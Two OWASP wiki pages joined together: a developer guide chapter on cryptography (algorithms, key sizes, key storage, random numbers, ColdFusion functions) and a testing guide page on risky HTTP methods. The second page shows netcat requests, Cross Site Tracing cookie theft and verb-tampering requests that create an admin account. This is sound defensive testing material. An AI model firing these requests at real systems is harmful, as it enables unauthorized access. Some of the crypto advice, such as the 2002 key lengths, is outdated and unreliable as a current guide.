[[Guide Table of Contents|Development Guide Table of Contents]]__TOC__

==Objective ==

To ensure that cryptography is safely used to protect the confidentiality and integrity of sensitive user data.

==Platforms Affected ==

All.

==Relevant COBIT Topics ==

DS5.18 – Cryptographic key management

==Description ==

Initially confined to the realms of academia and the military, cryptography has become ubiquitous thanks to the Internet. Common every day uses of cryptography include mobile phones, passwords, SSL, smart cards, and DVDs. Cryptography has permeated everyday life, and is heavily used by many web applications.

Cryptography (or crypto) is one of the more advanced topics of information security, and one whose understanding requires the most schooling and experience. It is difficult to get right because there are many approaches to encryption, each with advantages and disadvantages that need to be thoroughly understood by web solution architects and developers. In addition, serious cryptography research is typically based in advanced mathematics and number theory, providing a serious barrier to entry.

The proper and accurate implementation of cryptography is extremely critical to its efficacy. A small mistake in configuration or coding will result in removing a large degree of the protection it affords and rending the crypto implementation useless against serious attacks.

A good understanding of crypto is required to be able to discern between solid products and snake oil. The inherent complexity of crypto makes it easy to fall for fantastic claims from vendors about their product. Typically, these are “a breakthrough in cryptography” or “unbreakable” or provide "military grade" security. If a vendor says "trust us, we have had experts look at this,” chances are they weren't experts!

==Cryptographic Functions ==

Cryptographic systems can provide one or more of the following four services. It is important to distinguish between these, as some algorithms are more suited to particular tasks, but not to others.

When analyzing your requirements and risks, you need to decide which of these four functions should be used to protect your data.

===Authentication ===

Using a cryptographic system, we can establish the identity of a remote user (or system). A typical example is the SSL certificate of a web server providing proof to the user that he or she is connected to the correct server.

The identity is not of the user, but of the cryptographic key of the user. Having a less secure key lowers the trust we can place on the identity.

===Non-Repudiation ===

The concept of non-repudiation is particularly important for financial or e-commerce applications. Often, cryptographic tools are required to prove that a unique user has made a transaction request. It must not be possible for the user to refute his or her actions.

For example, a customer may request a transfer of money from her account to be paid to another account. Later, she claims never to have made the request and demands the money be refunded to the account. If we have non-repudiation through cryptography, we can prove – usually through digitally signing the transaction request, that the user authorized the transaction.

===Confidentiality ===

More commonly, the biggest concern will be to keep information private. Cryptographic systems were originally developed to function in this capacity. Whether it be passwords sent during a log on process, or storing confidential medical records in a database, encryption can assure that only users who have access to the appropriate key will get access to the data.

===Integrity ===

We can use cryptography to provide a means to ensure data is not viewed or altered during storage or transmission. Cryptographic hashes for example, can safeguard data by providing a secure checksum.

==Cryptographic Algorithms ==

Various types of cryptographic systems exist that have different strengths and weaknesses. Typically, they are divided into two classes; those that are strong, but slow to run and those that are quick, but less secure. Most often a combination of the two approaches is used (e.g.: SSL), whereby we establish the connection with a secure algorithm, and then if successful, encrypt the actual transmission with the weaker, but much faster algorithm.

===Symmetric Cryptography ===

Symmetric Cryptography is the most traditional form of cryptography. In a symmetric cryptosystem, the involved parties share a common secret (password, pass phrase, or key). Data is encrypted and decrypted using the same key. These algorithms tend to be comparatively fast, but they cannot be used unless the involved parties have already exchanged keys. Any party possessing a specific key can create encrypted messages using that key as well as decrypt any messages encrypted with the key. In systems involving a number of users who each need to set up independent, secure communication channels symmetric cryptosystems can have practical limitations due to the requirement to securely distribute and manage large numbers of keys.

Common examples of symmetric algorithms are DES, 3DES and AES. The 56-bit keys used in DES are short enough to be easily brute-forced by modern hardware and DES should no longer be used. Triple DES (or 3DES) uses the same algorithm, applied three times with different keys giving it an effective key length of 128 bits. Due to the problems using the DES alrgorithm, the United States National Institute of Standards and Technology (NIST) hosted a selection process for a new algorithm. The winning algorithm was Rijndael and the associated cryptosystem is now known as the Advanced Encryption Standard or AES. For most applications 3DES is acceptably secure at the current time, but for most new applications it is advisable to use AES.

===Asymmetric Cryptography (also called Public/Private Key Cryptography) ===

Asymmetric algorithms use two keys, one to encrypt the data, and either key to decrypt. These inter-dependent keys are generated together. One is labeled the Public key and is distributed freely. The other is labeled the Private Key and must be kept hidden.

Often referred to as Public/Private Key Cryptography, these cryptosystems can provide a number of different functions depending on how they are used.

The most common usage of asymmetric cryptography is to send messages with a guarantee of confidentiality. If User A wanted to send a message to User B, User A would get access to User B’s publicly-available Public Key. The message is then encrypted with this key and sent to User B. Because of the cryptosystem’s property that messages encoded with the Public Key of User B can only be decrypted with User B’s Private Key, only User B can read the message.

Another usage scenario is one where User A wants to send User B a message and wants User B to have a guarantee that the message was sent by User A. In order to accomplish this, User A would encrypt the message with their Private Key. The message can then only be decrypted using User A’s Public Key. This guarantees that User A created the message Because they are then only entity who had access to the Private Key required to create a message that can be decrcrypted by User A’s Public Key. This is essentially a digital signature guaranteeing that the message was created by User A.

A Certificate Authority (CA), whose public certificates are installed with browsers or otherwise commonly available, may also digitally sign public keys or certificates. We can authenticate remote systems or users via a mutual trust of an issuing CA. We trust their ‘root’ certificates, which in turn authenticate the public certificate presented by the server.[[Category:FIXME|seems like there should be a noun after "avialable"]]

PGP and SSL are prime examples of a systems implementing asymmetric cryptography, using RSA or other algorithms.

===Hashes ===

Hash functions take some data of an arbitrary length (and possibly a key or password) and generate a fixed-length hash based on this input. Hash functions used in cryptography have the property that it is easy to calculate the hash, but difficult or impossible to re-generate the original input if only the hash value is known. In addition, hash functions useful for cryptography have the property that it is difficult to craft an initial input such that the hash will match a specific desired value.

MD5 and SHA-1 are common hashing algorithms used today. These algorithms are considered weak (see below) and are likely to be replaced after a process similar to the AES selection. New applications should consider using SHA-256 instead of these weaker algorithms.

===Key Exchange Algorithms ===

Lastly, we have key exchange algorithms (such as Diffie-Hellman for SSL). These allow use to safely exchange encryption keys with an unknown party.

==Algorithm Selection ==

As modern cryptography relies on being computationally expensive to break, specific standards can be set for key sizes that will provide assurance that with today’s technology and understanding, it will take too long to decrypt a message by attempting all possible keys.

Therefore, we need to ensure that both the algorithm and the key size are taken into account when selecting an algorithm.

===How to determine if you are vulnerable ===

Proprietary encryption algorithms are not to be trusted as they typically rely on ‘security through obscurity’ and not sound mathematics. These algorithms should be avoided if possible.

Specific algorithms to avoid:

* MD5 has recently been found less secure than previously thought. While still safe for most applications such as hashes for binaries made available publicly, secure applications should now be migrating away from this algorithm.

* SHA-0 has been conclusively broken. It should no longer be used for any sensitive applications.

* SHA-1 has been reduced in strength and we encourage a migration to SHA-256, which implements a larger key size.

* DES was once the standard crypto algorithm for encryption; a normal desktop machine can now break it. AES is the current preferred symmetric algorithm.

Cryptography is a constantly changing field. As new discoveries in cryptanalysis are made, older algorithms will be found unsafe. In addition, as computing power increases the feasibility of brute force attacks will render other cryptosystems or the use of certain key lengths unsafe. Standard bodies such as NIST should be monitored for future recommendations.

Specific applications, such as banking transaction systems, may have specific requirements for algorithms and key sizes.

===How to protect yourself ===

Assuming you have chosen an open, standard algorithm, the following recommendations should be considered when reviewing algorithms:

'''Symmetric:'''

* Key sizes of 128 bits (standard for SSL) are sufficient for most applications

* Consider 168 or 256 bits for secure systems such as large financial transactions

'''Asymmetric:'''

The difficulty of cracking a 2048 bit key compared to a 1024 bit key is far, far, far, more than the twice you might expect. Don’t use excessive key sizes unless you know you need them. Bruce Schneier in 2002 (see the references section) recommended the following key lengths for circa 2005 threats:

* Key sizes of 1280 bits are sufficient for most personal applications

* 1536 bits should be acceptable today for most secure applications

* 2048 bits should be considered for highly protected applications.

'''Hashes:'''

* Hash sizes of 128 bits (standard for SSL) are sufficient for most applications

* Consider 168 or 256 bits for secure systems, as many hash functions are currently being revised (see above).

NIST and other standards bodies will provide up to date guidance on suggested key sizes.

'''Design your application to cope with new hashes and algorithms'''

==Key Storage ==

As highlighted above, crypto relies on keys to assure a user’s identity, provide confidentiality and integrity as well as non-repudiation. It is vital that the keys are adequately protected. Should a key be compromised, it can no longer be trusted.

Any system that has been compromised in any way should have all its cryptographic keys replaced.

===How to determine if you are vulnerable ===

Unless you are using hardware cryptographic devices, your keys will most likely be stored as binary files on the system providing the encryption.

Can you export the private key or certificate from the store?

* Are any private keys or certificate import files (usually in PKCS#12 format) on the file system? Can they be imported without a password?

* Keys are often stored in code. This is a bad idea, as it means you will not be able to easily replace keys should they become compromised.

===How to protect yourself ===

* Cryptographic keys should be protected as much as is possible with file system permissions. They should be read only and only the application or user directly accessing them should have these rights.

* Private keys should be marked as not exportable when generating the certificate signing request.

* Once imported into the key store (CryptoAPI, Certificates snap-in, Java Key Store, etc.), the private certificate import file obtained from the certificate provider should be safely destroyed from front-end systems. This file should be safely stored in a safe until required (such as installing or replacing a new front end server).

* Host based intrusion systems should be deployed to monitor access of keys. At the very least, changes in keys should be monitored.

* Applications should log any changes to keys.

* Pass phrases used to protect keys should be stored in physically secure places; in some environments, it may be necessary to split the pass phrase or password into two components such that two people will be required to authorize access to the key. These physical, manual processes should be tightly monitored and controlled.

* Storage of keys within source code or binaries should be avoided. This not only has consequences if developers have access to source code, but key management will be almost impossible.

* In a typical web environment, web servers themselves will need permission to access the key. This has obvious implications that other web processes or malicious code may also have access to the key. In these cases, it is vital to minimize the functionality of the system and application requiring access to the keys.

* For interactive applications, a sufficient safeguard is to use a pass phrase or password to encrypt the key when stored on disk. This requires the user to supply a password on startup, but means the key can safely be stored in cases where other users may have greater file system privileges.

Storage of keys in hardware crypto devices is beyond the scope of this document. If you require this level of security, you should really be consulting with crypto specialists.

==Insecure transmission of secrets ==

In security, we assess the level of trust we have in information. When applied to transmission of sensitive data, we need to ensure that encryption occurs before we transmit the data onto any untrusted network.

In practical terms, this means we should aim to encrypt as close to the source of the data as possible.

===How to determine if you are vulnerable ===

This can be extremely difficult without expert help. We can try to at least eliminate the most common problems:

* The encryption algorithm or protocol needs to be adequate to the task. The above discussion on weak algorithms and weak keys should be a good starting point.

* We must ensure that through all paths of the transmission we apply this level of encryption.

* Extreme care needs to be taken at the point of encryption and decryption. If your encryption library needs to use temporary files, are these adequately protected?

* Are keys stored securely? Is an unsecured file left behind after it has been encrypted?

===How to protect yourself ===

We have the possibility to encrypt or otherwise protect data at different levels. Choosing the right place for this to occur can involve looking at both security as well as resource requirements.

'''Application''': at this level, the actual application performs the encryption or other crypto function. This is the most desirable, but can place additional strain on resources and create unmanageable complexity. Encryption would be performed typically through an API such as the OpenSSL toolkit (www.openssl.com) or operating system provided crypto functions.

An example would be an S/MIME encrypted email, which is transmitted as encoded text within a standard email. No changes to intermediate email hosts are necessary to transmit the message because we do not require a change to the protocol itself.

'''Protocol''': at this layer, the protocol provides the encryption service. Most commonly, this is seen in HTTPS, using SSL encryption to protect sensitive web traffic. The application no longer needs to implement secure connectivity. However, this does not mean the application has a free ride. SSL requires careful attention when used for mutual (client-side) authentication, as there are two different session keys, one for each direction. Each should be verified before transmitting sensitive data.

Attackers and penetration testers love SSL to hide malicious requests (such as injection attacks for example). Content scanners are most likely unable to decode the SSL connection, letting it pass to the vulnerable web server.

'''Network''': below the protocol layer, we can use technologies such as Virtual Private Networks (VPN) to protect data. This has many incarnations, the most popular being IPsec (Internet Protocol v6 Security), typically implemented as a protected ‘tunnel’ between two gateway routers. Neither the application nor the protocol needs to be crypto aware – all traffic is encrypted regardless.

Possible issues at this level are computational and bandwidth overheads on network devices.

==Reversible Authentication Tokens ==

Today’s web servers typically deal with large numbers of users. Differentiating between them is often done through cookies or other session identifiers. If these session identifiers use a predictable sequence, an attacker need only generate a value in the sequence in order to present a seemingly valid session token.

This can occur at a number of places; the network level for TCP sequence numbers, or right through to the application layer with cookies used as authenticating tokens.

===How to determine if you are vulnerable ===

Any deterministic sequence generator is likely to be vulnerable.

===How to protect yourself ===

The only way to generate secure authentication tokens is to ensure there is no way to predict their sequence. In other words: true random numbers.

It could be argued that computers can not generate true random numbers, but using new techniques such as reading mouse movements and key strokes to improve entropy has significantly increased the randomness of random number generators. It is critical that you do not try to implement this on your own; use of existing, proven implementations is highly desirable.

Most operating systems include functions to generate random numbers that can be called from almost any programming language.

'''Windows & .NET:''' On Microsoft platforms including .NET, it is recommended to use the inbuilt CryptGenRandom function (http://msdn.microsoft.com/library/default.asp?url=/library/en-us/seccrypto/security/cryptgenrandom.asp.

'''Unix:''' For all Unix based platforms, OpenSSL is an excellent option (http://www.openssl.org/). It features tools and API functions to generate random numbers. On some platforms, /dev/urandom is a suitable source of pseudo-random entropy.

'''PHP:''' mt_rand() uses a Mersenne Twister, but is nowhere near as good as CryptoAPI’s secure random number generation options, OpenSSL, or /dev/urandom which is available on many Unix variants. mt_rand() has been noted to produce the same number on some platforms – test prior to deployment. '''Do not use rand() as it is very weak.'''

'''Java:''' java.security.SecureRandom within the Java Cryptography Extension (JCE) provides secure random numbers. This should be used in preference to other random number generators.

'''ColdFusion: '''ColdFusion MX 7 leverages the JCE java.security.SecureRandom class of the underlying JVM as its pseudo random number generator (PRNG)'''''.'' '''

==Safe UUID generation ==

UUIDs (such as GUIDs and so on) are only unique if you generate them. This seems relatively straightforward. However, there are many code snippets available that contain existing UUIDS.

===How to determine if you are vulnerable ===

# Determine the source of your existing UUIDS
## Did they come from MSDN?
## Or from an example found on the Internet?
# Use your favorite search engine to find out

===How to protect yourself ===

* Do not cut and paste UUIDs and GUIDs from anything other than the UUIDGEN program or from the UuidCreate() API

* Generate fresh UUIDs or GUIDs for each new program

==Summary ==

Cryptography is one of pillars of information security. Its usage and propagation has exploded due to the Internet and it is now included in most areas computing. Crypto can be used for:

* Remote access such as IPsec VPN

* Certificate based authentication

* Securing confidential or sensitive information

* Obtaining non-repudiation using digital certificates

* ?Online orders and payments

* Email and messaging security such as S/MIME

A web application can implement cryptography at multiple layers: application, application server or runtime (such as .NET), operating system and hardware. Selecting an optimal approach requires a good understanding of application requirements, the areas of risk, and the level of security strength it might require, flexibility, cost, etc.

Although cryptography is not a panacea, the majority of security breaches do not come from brute force computation but from exploiting mistakes in implementation. The strength of a cryptographic system is measured in key length. Using a large key length and then storing the unprotected keys on the same server eliminates most of the protection benefit gained. Besides the secure storage of keys, another classic mistake is engineering custom cryptographic algorithms (to generate random session ids for example). Many web applications were successfully attacked because the developers thought they could create their crypto functions.

Our recommendation is to use proven products, tools, or packages rather than rolling your own.

==Further Reading ==

* Wu, H., ''Misuse of stream ciphers in Word and Excel''

http://eprint.iacr.org/2005/007.pdf

* Bindview, ''Vulnerability in Windows NT's SYSKEY encryption''

http://seclists.org/bugtraq/1999/Dec/208

* Schneier, B. ''Is 1024 bits enough?, ''April 2002 Cryptogram''

''http://www.schneier.com/crypto-gram-0204.html#3

* Schneier, B., Cryptogram,

http://www.schneier.com/crypto-gram.html

* NIST, Replacing SHA-1 with stronger variants: SHA-256 ? 512

http://csrc.nist.gov/groups/ST/toolkit/secure_hashing.html

* UUIDs are only unique if you generate them:

http://blogs.msdn.com/larryosterman/archive/2005/07/21/441417.aspx

* Cryptographically Secure Random Numbers on Win32:

http://blogs.msdn.com/michael_howard/archive/2005/01/14/353379.aspx

==Cryptography ==

The following section describes ColdFusion’s cryptography features. ColdFusion MX leverages the Java Cryptography Extension (JCE) of the underlying J2EE platform for cryptography and random number generation. It provides functions for symmetric (or private-key) encryption. While it does not provide native functionality for public-key (asymmetric) encryption, it does use the Java Secure Socket Extension (JSSE) for SSL communication.

'''Pseudo-Random Number Generation'''

ColdFusion provides three functions for random number generation: rand(), randomize(), and randRange(). Function descriptions and syntax:

'''Rand''' – Use to generate a pseudo-random number

''' rand([algorithm])'''

'''Randomize''' – Use to seed the pseudo-random number generator (PRNG) with an integer.

''' randomize(number [, algorithm])'''

'''RandRange''' – Use to generate a pseudo-random integer within the range of the specified numbers

''' randrange(number1, number2 [, algorithm])'''

The following values are the allowed algorithm parameters''' ''':

CFMX_COMPAT: (default) – Invokes java.util.rand

SHA1PRNG: (recommended) – Invokes java.security.SecureRandom using the Sun Java SHA-1 PRNG algorithm.

IBMSecureRandom: IBM WebSphere’s JVM does not support the SHA1PRNG algorithm.

'''Symmetric Encryption'''

ColdFusion MX 7 provides six encryption functions: decrypt(), decryptBinary(), encrypt(), encryptBinary(), generateSecretKey(), and hash(). Function descriptions and syntax:

'''Decrypt''' – Use to decrypt encrypted strings with specified key, algorithm, encoding, initialization vector or salt, and iterations

''' decrypt(encrypted_string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''

'''DecryptBinary''' – Use to decrypt encrypted binary data with specified key, algorithm, initialization vector or salt, and iterations

''' decryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''

'''Encrypt''' – Use to encrypt string using specific algorithm, encoding, initialization vector or salt, and iterations

''' encrypt(string, key[, algorithm[, encoding[, IVorSalt[, iterations]]]]))'''

'''EncryptBinary''' – Use to encrypt binary data with specified key, algorithm, initialization vector or salt, and iterations

''' encryptBinary(bytes, key[, algorithm[, IVorSalt[, iterations]]])'''

'''GenerateSecretKey''' – Use to generate a secure key using the specified algorithm for the encrypt and encryptBinary functions

''' generateSecretKey(algorithm)'''

'''Hash '''– Use for one-way conversion of a variable-length string to fixed-length string using the specified algorithm and encoding

''' hash(string[, algorithm[, encoding]] )'''

ColdFusion offers the following default algorithms for these functions''' ''':

CFMX_COMPAT: the algorithm used in ColdFusion MX and prior releases. This algorithm is the least secure option (default).

AES: the Advanced Encryption Standard specified by the National Institute of Standards and Technology (NIST) FIPS-197. (recommended)

BLOWFISH: the Blowfish algorithm defined by Bruce Schneier.

DES: the Data Encryption Standard algorithm defined by NIST FIPS-46-3.

DESEDE: the "Triple DES" algorithm defined by NIST FIPS-46-3.

PBEWithMD5AndDES: A password-based version of the DES algorithm which uses a MD5 hash of the specified password as the encryption key

PBEWithMD5AndTripleDES: A password-based version of the DESEDE algorithm which uses a MD5 hash of the specified password as the encryption key

The following algorithms are provided by default for the hash() function. Note, SHA algorithms used in ColdFusion are NIST FIPS-180-2 compliant''' ''':

CFMX_COMPAT: Generates a MD5 hash string identical to that generated by ColdFusion MX and ColdFusion MX 6.1 (default).

MD5: Generates a 128-bit digest.

SHA: Generates a 160-bit digest. (SHA-1)

SHA-256: Generates a 256-bit digest

SHA-384: Generates a 384-bit digest

SHA-512: Generates a 512-bit digest

'''Pluggable Encryption'''

ColdFusion MX 7 introduced pluggable encryption for CFML. The JCE allows developers to specify multiple cryptographic service providers. ColdFusion can leverage the algorithms, feedback modes, and padding methods of third-party Java security providers to strengthen its cryptography functions. For example, ColdFusion can leverage the Bouncy Castle ('''http://www.bouncycastle.org/''') crypto package and use the SHA-224 algorithm for the hash() function or the Serpent block encryption for the encrypt() function.

See Macromedia’s Strong Encryption in ColdFusion MX 7 technote for information on installing additional security providers for ColdFusion at http://www.macromedia.com/go/e546373d.

'''SSL'''

ColdFusion does not provide tags and functions for public-key encryption, but it can communicate over SSL. ColdFusion leverages the Sun JSSE to communicate over SSL with web and LDAP (lightweight directory access protocol) servers. ColdFusion uses the Java certificate database (e.g. jre_root/lib/security/cacerts) to store server certificates. It compares presented certificate of remote systems to those stored in the database. It also grabs the host system’s certificate from this database and uses it to present to remote systems to initiate the SSL handshake. Certificate information is then exposed as CGI variables.

'''''Best Practices'''''

*Enable /dev/urandom for higher entropy for random number generation

*Call the randomize function before calling rand() or randRange() to seed the random number generator

*DO NOT use the CFMX_COMPAT algorithms. Upgrade your application to use stronger cryptographic ciphers.

*Use AES or higher for symmetric encryption

*Use SHA-256 or higher for the hash function

*Use a salt (or random string) for password generation with the hash function

*Always use generateSecretKey() to generate keys of the appropriate length for Block Encryption algorithms unless a customized key is required

*Use separate key databases to store remote server certificates separately from the ColdFusion server’s certificate

[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]
[[Category:Encryption]]

Test HTTP Methods (OTG-CONFIG-006)

2012-02-03T04:46:03Z

Shady:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
HTTP offers a number of methods that can be used to perform actions on the web server. Many of theses methods are designed to aid developers in deploying and testing HTTP applications. These HTTP methods can be used for nefarious purposes if the web server is misconfigured. Additionally, Cross Site Tracing (XST), a form of cross site scripting using the server's HTTP TRACE method, is examined. 

== Short Description of the Issue ==
While GET and POST are by far the most common methods that are used to access information provided by a web server, the Hypertext Transfer Protocol (HTTP) allows several other (and somewhat less known) methods. RFC 2616 (which describes HTTP version 1.1 which is the today standard) defines the following eight methods:

* HEAD
* GET
* POST
* PUT
* DELETE
* TRACE
* OPTIONS
* CONNECT

Some of these methods can potentially pose a security risk for a web application, as they allow an attacker to modify the files stored on the web server and, in some scenarios, steal the credentials of legitimate users. More specifically, the methods that should be disabled are the following:

* PUT: This method allows a client to upload new files on the web server. An attacker can exploit it by uploading malicious files (e.g.: an asp file that executes commands by invoking cmd.exe), or by simply using the victim's server as a file repository
* DELETE: This method allows a client to delete a file on the web server. An attacker can exploit it as a very simple and direct way to deface a web site or to mount a DoS attack
* CONNECT: This method could allow a client to use the web server as a proxy
* TRACE: This method simply echoes back to the client whatever string has been sent to the server, and is used mainly for debugging purposes. This method, originally assumed harmless, can be used to mount an attack known as Cross Site Tracing, which has been discovered by Jeremiah Grossman (see links at the bottom of the page)

If an application needs one or more of these methods, such as REST Web Services (which may require PUT or DELETE), it is important to check that their usage is properly limited to trusted users and safe conditions.

== Arbitrary HTTP Methods ==

Arshan Dabirsiaghi (see links) discovered that many web application frameworks allowed well chosen and/or arbitrary HTTP methods to bypass an environment level access control check:

* Many frameworks and languages treat "HEAD" as a "GET" request, albeit one without any body in the response. If a security constraint was set on "GET" requests such that only "authenticatedUsers" could access GET requests for a particular servlet or resource, it would be bypassed for the "HEAD" version. This allowed unauthorized blind submission of any privileged GET request

* Some frameworks allowed arbitrary HTTP methods such as "JEFF" or "CATS" to be used without limitation. These were treated as if a "GET" method was issued, and again were found not to be subject to method role based access control checks on a number of languages and frameworks, again allowing unauthorized blind submission of privileged GET requests.

In many cases, code which explicitly checked for a "GET" or "POST" method would be safe.

== Black Box testing and example ==
'''Discover the Supported Methods''' 
To perform this test, we need some way to figure out which HTTP methods are supported by the web server we are examining. The OPTIONS HTTP method provides us with the most direct and effective way to do that. RFC 2616 states that, "The OPTIONS method represents a request for information about the communication options available on the request/response chain identified by the Request-URI".

The testing method is extremely straightforward and we only need to fire up netcat (or telnet):
<pre>
icesurfer@nightblade ~ $ nc www.victim.com 80
OPTIONS / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:00:29 GMT
Connection: close
Allow: GET, HEAD, POST, TRACE, OPTIONS
Content-Length: 0

icesurfer@nightblade ~ $
</pre>
As we can see in the example, OPTIONS provides a list of the methods that are supported by the web server, and in this case we can see, for instance, that TRACE method is enabled. The danger that is posed by this method is illustrated in the following section 
'''Test XST Potential''' 
Note: in order to understand the logic and the goals of this attack you need to be familiar with [[XSS |Cross Site Scripting attacks]].

The TRACE method, while apparently harmless, can be successfully leveraged in some scenarios to steal legitimate users' credentials. This attack technique was discovered by Jeremiah Grossman in 2003, in an attempt to bypass the [[HTTPOnly]] tag that Microsoft introduced in Internet Explorer 6 sp1 to protect cookies from being accessed by JavaScript. As a matter of fact, one of the most recurring attack patterns in Cross Site Scripting is to access the document.cookie object and send it to a web server controlled by the attacker so that he/she can hijack the victim's session. Tagging a cookie as httpOnly forbids JavaScript to access it, protecting it from being sent to a third party. However, the TRACE method can be used to bypass this protection and access the cookie even in this scenario.

As mentioned before, TRACE simply returns any string that is sent to the web server. In order to verify its presence (or to double-check the results of the OPTIONS request shown above), we can proceed as shown in the following example:
<pre>
icesurfer@nightblade ~ $ nc www.victim.com 80
TRACE / HTTP/1.1
Host: www.victim.com

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 31 Oct 2006 08:01:48 GMT
Connection: close
Content-Type: message/http
Content-Length: 39

TRACE / HTTP/1.1
Host: www.victim.com
</pre>
As we can see, the response body is exactly a copy of our original request, meaning that our target allows this method. Now, where is the danger lurking? If we instruct a browser to issue a TRACE request to the web server, and this browser has a cookie for that domain, the cookie will be automatically included in the request headers, and will therefore be echoed back in the resulting response. At that point, the cookie string will be accessible by JavaScript and it will be finally possible to send it to a third party even when the cookie is tagged as httpOnly.

There are multiple ways to make a browser issue a TRACE request, such as the XMLHTTP ActiveX control in Internet Explorer and XMLDOM in Mozilla and Netscape. However, for security reasons the browser is allowed to start a connection only to the domain where the hostile script resides. This is a mitigating factor, as the attacker needs to combine the TRACE method with another vulnerability in order to mount the attack. Basically, an attacker has two ways to successfully launch a Cross Site Tracing attack:

# Leveraging another server-side vulnerability: the attacker injects the hostile JavaScript snippet that contains the TRACE request in the vulnerable application, as in a normal Cross Site Scripting attack
# Leveraging a client-side vulnerability: the attacker creates a malicious website that contains the hostile JavaScript snippet and exploits some cross-domain vulnerability of the browser of the victim, in order to make the JavaScript code successfully perform a connection to the site that supports the TRACE method and that originated the cookie that the attacker is trying to steal.

More detailed information, together with code samples, can be found in the original whitepaper written by Jeremiah Grossman. 

== Black Box Testing of HTTP method tampering ==

Testing for HTTP method tampering is essentially the same as testing for XST.

=== Testing for arbitrary HTTP methods ===

Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization.

<pre>
[rapidoffenseunit:~] vanderaj% nc www.example.com 80
JEFF / HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:38:40 GMT
Server: Apache
Set-Cookie: PHPSESSID=K53QW...
</pre>

If your framework or firewall or application does not support the "JEFF" method, it should issue an error page (or preferably a 405 Not Allowed or 501 Not implemented error page). If it services the request, it is vulnerable to this issue.

If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:

* FOOBAR /admin/createUser.php?member=myAdmin
* JEFF /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
* CATS /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin.

=== Testing for HEAD access control bypass ===

Find a page you'd like to visit that has a security constraint such that it would normally force a 302 redirect to a login page or forces a login directly. The test URL in this example works like this - as do many web applications. However, if you obtain a "200" response that is not a login page, it is possible to bypass authentication and thus authorization.

<pre>
[rapidoffenseunit:~] vanderaj% nc www.example.com 80
HEAD /admin HTTP/1.1
Host: www.example.com

HTTP/1.1 200 OK
Date: Mon, 18 Aug 2008 22:44:11 GMT
Server: Apache
Set-Cookie: PHPSESSID=pKi...; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: adminOnlyCookie1=...; expires=Tue, 18-Aug-2009 22:44:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie2=...; expires=Mon, 18-Aug-2008 22:54:31 GMT; domain=www.example.com
Set-Cookie: adminOnlyCookie3=...; expires=Sun, 19-Aug-2007 22:44:30 GMT; domain=www.example.com
Content-Language: EN
Connection: close
Content-Type: text/html; charset=ISO-8859-1
</pre>

If you get a "405 Method not allowed" or "501 Method Unimplemented", the application/framework/language/system/firewall is working correctly. If a "200" response code comes back, and the response contains no body, it's likely that the application has processed the request without authentication or authorization and further testing is warranted.

If you feel that the system is vulnerable to this issue, issue CSRF-like attacks to exploit the issue more fully:

* HEAD /admin/createUser.php?member=myAdmin
* HEAD /admin/changePw.php?member=myAdmin&passwd=foo123&confirm=foo123
* HEAD /admin/groupEdit.php?group=Admins&member=myAdmin&action=add

With some luck, using the above three commands - modified to suit the application under test and testing requirements - a new user would be created, a password assigned, and made an admin, all using blind request submission.

== Gray Box testing and example ==
The testing in a Gray Box scenario follows the same steps of a Black Box scenario.

== References ==
'''Whitepapers''' 
* RFC 2616: âHypertext Transfer Protocol -- HTTP/1.1â
* RFC 2109 and RFC 2965: âHTTP State Management Mechanismâ
* Jeremiah Grossman: "Cross Site Tracing (XST)" - http://www.cgisecurity.com/whitehat-mirror/WH-WhitePaper_XST_ebook.pdf 
* Amit Klein: "XS(T) attack variants which can, in some cases, eliminate the need for TRACE" - http://www.securityfocus.com/archive/107/308433
* Arshan Dabirsiaghi: "Bypassing VBAAC with HTTP Verb Tampering" - http://www.aspectsecurity.com/documents/Bypassing_VBAAC_with_HTTP_Verb_Tampering.pdf

'''Tools'''
* NetCat - http://nc110.sourceforge.net